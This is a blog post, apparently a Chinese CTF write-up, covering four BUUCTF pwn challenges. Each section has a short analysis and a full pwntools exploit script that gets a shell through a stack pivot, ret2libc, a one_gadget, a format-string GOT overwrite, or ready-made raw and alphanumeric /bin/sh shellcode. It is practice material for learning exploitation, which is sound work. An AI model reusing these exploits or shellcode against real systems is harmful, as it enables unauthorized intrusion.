buuctf:gyctf_2020_borrowstack、mrctf2020_shellcode_revenge、jarvisoj_level5、wdb_2018_2nd_easyfmt
本文最后更新于276 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、gyctf_2020_borrowstack分析

64位NX,好像有两次输入

main函数

有两个read,但是有了栈溢出为什么还要搞一个read呢,仔细看一看,这个溢出量并不大,而且bank是bass段哦,应该是修改rbp的值指向bass段,这里利用leave就可以让rsp指向bass就把栈迁移过去了,但是看了一下大佬的经历,有坑啊,虽然已经知道了leave的作用,还是难以下手,慢慢试一试吧

具体的坑是bank距离got表太近,执行rop的时候把got表覆盖了,当我们要用read是调用失败

那么我们需要的步骤是先溢出后让栈转移,然后利用puts泄露libc,找one_gadget,然后溢出到one_gadget的地方获取shell

先来看看one_gadget

这下就看到它的用处了吧

题目有点复杂,先来把要用的装备找齐了

溢出:0x60+8

bank=0x601080

=0x400703

ret=0x4004c9

leave=0x400699

然后捏,我们要稍微把地址抬高一些该怎么做呢

在bank的基础上加一点,看到有师傅在第二次输入用ret*20来解决,感觉挺方便的,试一试嘛,后面再试试*0x18可不可以,one_gadget找不来嘿嘿

2、gyctf_2020_borrowstack cat flag

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29234)
#p=process("./gyctf_2020_borrowstack")

bank=0x601080
rdi=0x400703
ret=0x4004c9
leave=0x400699
payload=b'a'*0x60+p64(bank)+p64(leave)
p.recvuntil("u want")
p.send(payload)

elf=ELF("./gyctf_2020_borrowstack")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
payload=p64(ret)*0x18+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("your borrow ")
p.send(payload)
p.recv()
puts=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts))

gadget=0x4526a
libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
one_gadget=base+gadget
payload=b'a'*(0x60+8)+p64(one_gadget)
p.sendline(payload)
p.interactive()

糊里糊涂……

3、mrctf2020_shellcode_revenge分析(可见字符shellcode)

昨天实在是有点累,今天继续做题

64位开了full relro 还有pie啊

有一个输入,去ida看看,还只能看看汇编

他这,是让我直接传shellcode啊,buf这么大

唉,其实64位的之前都设了环境的,其实不设也行,之前收集过可见和不可见的shellcode

不可见:

32位段字节shellcode(21字节)

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64位较短的shellcode(23字节)

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

可见版本(由可见字符组成):

X64:

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

32位:

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA

我们都来试试,看看有什么区别


4、mrctf2020_shellcode_revenge cat flag

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",27592)

shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(shellcode)
p.interactive()


这个 东西打不通,也不想分析汇编了[捂脸],其实就是这个地方在作怪,把字符限制得死死的,跳跳糖一样

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",27592)

shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()


也可以用alpha3来生成,但是有现成的了


5、jarvisoj_level5分析

64位开了NX,一个输入

主要是这个函数


明显的栈溢出,由于没有system(“/bin/sh”)我们直接ret2libc算了,利用write函数泄露libc,有三个参数,我们先找寄存器

用这个试试

rdi=0x4006b3

rsir15=0x4006b1

返回地址vuln=0x4005E6

然后直接开写

6、jarvisoj_level5实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29004)
elf=ELF("./level3_x64")

write_plt=elf.plt['write']
write_got=elf.got['write']
rdi=0x4006b3
rsir15=0x4006b1
vuln=0x4005E6
payload=b'a'*(0x80+8)+p64(rdi)+p64(1)+p64(rsir15)+p64(write_got)+p64(4)+p64(write_plt)+p64(vuln)
p.recvuntil("Input:\n")
p.sendline(payload)
write=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write))

libc=ELF("./libc-2.23.so")
base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b"/bin/sh"))
payload=b'a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(sys)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

较简单啊

7、wdb_2018_2nd_easyfmt分析

32位开了NX,是个复读机,讨厌死了

main函数


read不会造成溢出,但是开了NX,不能直接传shellcode,那会不会栈上有格式化字符串漏洞呢

haha被逮捕了,偏移是6利用它我们想到的就是用puts_got泄露libc基址然后就得到system的地址,之前做到的,因为got表可写就可以把printf_got改成system的地址,在写入/bin/sh就可以了

来看一些重要的参数

fmtstr_payload(offset, {address1: value1, address2: value2, ...}, numbwritten=0, write_size='byte')

对于这道题比较方便,偏移是6,修改是{printf_got:sys}其他的以写入和发送方式默认就行

8、wdb_2018_2nd_easyfmt实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28996)
#p=process("./wdb_2018_2nd_easyfmt")
elf=ELF("./wdb_2018_2nd_easyfmt")

puts_got=elf.got['puts']
payload = p32(puts_got) + b'%6$s'
p.recvuntil("Do you know repeater?")
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
print(hex(puts))

libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
printf_got=elf.got['printf']
payload=fmtstr_payload(6,{printf_got:sys})
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()


好困,休息了zzz……

雷姆的膝枕......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇